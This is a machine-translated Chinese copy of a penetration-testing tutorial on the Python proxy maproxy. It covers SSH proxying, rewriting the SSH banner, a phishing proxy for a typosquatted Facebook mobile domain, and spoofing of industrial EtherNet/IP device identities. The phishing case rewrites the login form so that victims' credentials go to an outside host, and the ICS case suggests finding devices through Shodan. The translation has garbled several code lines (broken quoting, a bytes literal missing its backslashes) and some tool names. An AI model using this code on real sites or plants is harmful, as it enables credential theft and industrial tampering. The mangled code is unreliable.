动态处理网络数据

文章的翻译是在课程开始前夕准备的 “渗透测试。 渗透测试实践》.

动态处理网络数据

抽象

从常规渗透测试和红队演练到入侵物联网/工业控制系统 (ICS) 设备和监控与数据采集系统 (SCADA),各种类型的安全评估都涉及二进制网络协议的操作,本质上就是拦截和修改客户端与目标之间的网络数据。嗅探网络流量并不难,因为我们有 Wireshark、Tcpdump 或 Scapy 等工具。然而,修改网络数据则更加费力,因为我们需要一个独特的接口来读取网络数据、对其进行过滤、实时修改,并将其近乎实时地发送回目标主机。此外,如果这样的工具能够自动处理多个并行连接,并且可以通过脚本进行自定义,那就更理想了。

有一天,我发现了一个叫做 maproxy文件很快就让我明白了这一点: maproxy 正是我需要的。它是一款相当简单、功能全面且易于配置的 TCP 代理。我用几个相当复杂的应用程序测试了这个工具,包括 ICS 设备(这类设备会产生大量数据包),以检验它能否处理多个并发连接,结果表现良好。

本文将向您介绍如何使用实时处理网络数据。 maproxy.

查看

工具 maproxy 它基于 Tornado,这是一个用 Python 编写的流行且先进的异步网络框架。

一般来说,它可以以多种模式运行:

  • TCP:TCP – 未加密的 TCP 连接;
  • TCP:SSL и SSL:TCP – 采用单向加密;
  • SSL:SSL 双向加密。

它以库的形式提供。为了快速入门,您可以使用反映基本功能的示例文件。 库函数:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

案例 1 – 简单双向代理

基于 tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

默认情况下, ProxyServer() 接受两个参数——连接位置和目标端口。 server.listen() 接受一个参数——监听传入连接的端口。

脚本执行:

# python tcp2tcp.py

为了执行测试,我们将通过代理脚本连接到本地 SSH 服务器,该服务器正在监听。 2222/tcp 端口并连接到标准端口 22/tcp SSH 服务器:

动态处理网络数据

欢迎横幅通知您,我们的示例脚本已成功代理网络流量。

案例 2 – 数据修改

另一个演示脚本 logging_proxy.py 非常适合与网络数据交互。文件中的注释描述了您可以修改以实现目标的类方法:

动态处理网络数据

最有趣的是这里:

  • on_c2p_done_read – 拦截从客户端到服务器传输的数据;
  • on_p2s_done_read ——朝相反的方向。

我们来尝试更改服务器返回给客户端的 SSH 横幅:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

运行脚本:

动态处理网络数据

如您所见,客户被误导了,因为他的 SSH 服务器名称被替换成了 «DumnySSH».

动态处理网络数据

案例 3 – 一个简单的钓鱼网页

这个工具的用途数不胜数。这次,我们来关注一下红队演练中更实际的应用:模拟一个落地页。 m.facebook.com 例如,我们将使用一个故意拼写错误的自定义域名。 m.facebok.com为了演示的目的,我们假设我们已经注册了域名。

我们将与受害者代理建立未加密的网络连接,并通过 SSL 流传输数据到 Facebook 服务器(31.13.81.36为了使这个示例正常运行,我们需要将 HTTP 主机头替换为正确的主机名,并且禁用响应压缩以便轻松访问其内容。最后,我们将替换 HTML 表单,以便将登录凭据发送给我们而不是 Facebook 的服务器:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/zh-CN/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

概括如下:

动态处理网络数据

如您所见,我们已成功替换了原网站。

案例 4 – 以太网/IP 损坏

我曾花费大量时间研究工业设备和软件(ICS/SCADA),例如可编程逻辑控制器 (PLC)、I/O 模块、驱动器、继电器、梯形图编程环境等等。本案例研究面向对工业设备感兴趣的人士。破解此类解决方案需要积极地操作网络协议。在下面的示例中,我将演示如何修改 ICS/SCADA 网络流量。

为此,您需要以下内容:

  • 网络嗅探器,例如 Wireshark;
  • 您可以使用 Shodan 服务找到以太网/IP 设备或 SIP 设备;
  • 我们的剧本基于 maproxy.

首先,我们来看一下来自 CIP(通用工业协议)的典型识别响应是什么样的:

动态处理网络数据

设备识别是通过以太网/IP协议实现的,它是以太网协议的工业扩展版本,并封装了诸如CIP之类的管理协议。我们将更改屏幕截图中高亮显示的识别名称。 NI-IndComm以太网 使用我们的代理脚本。我们可以重复使用该脚本。 logging_proxy.py 并以类似的方式修改类方法 on_p2s_done_read因为我们希望在客户端显示不同的标识名称。

代码:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

实际上,我们请求了两次设备识别信息,第二次响应是原始响应,第一次响应是临时修改的。

和最后一个

在我看来 maproxy 这是一个方便易用的工具,而且是用 Python 编写的,所以我相信你也能从中受益。当然,还有更复杂的工具可以用来处理和修改网络数据,但它们也需要更多关注,而且通常是为特定用例而设计的,例如: Muraena, Modlishka или evilginx 对于与第三种情况类似的情况,或者 烤面包片 对于最后一种情况。无论如何,借助…… maproxy 您可以快速实现拦截网络数据的想法,因为示例脚本非常清晰。

测试身份验证机制 Windows AD

来源: habr.com

为具有 DDoS 保护、VPS VDS 服务器的站点购买可靠的主机 🔥 购买具备 DDoS 防护的可靠网站托管服务,包括 VPS 和 VDS 服务器 | ProHoster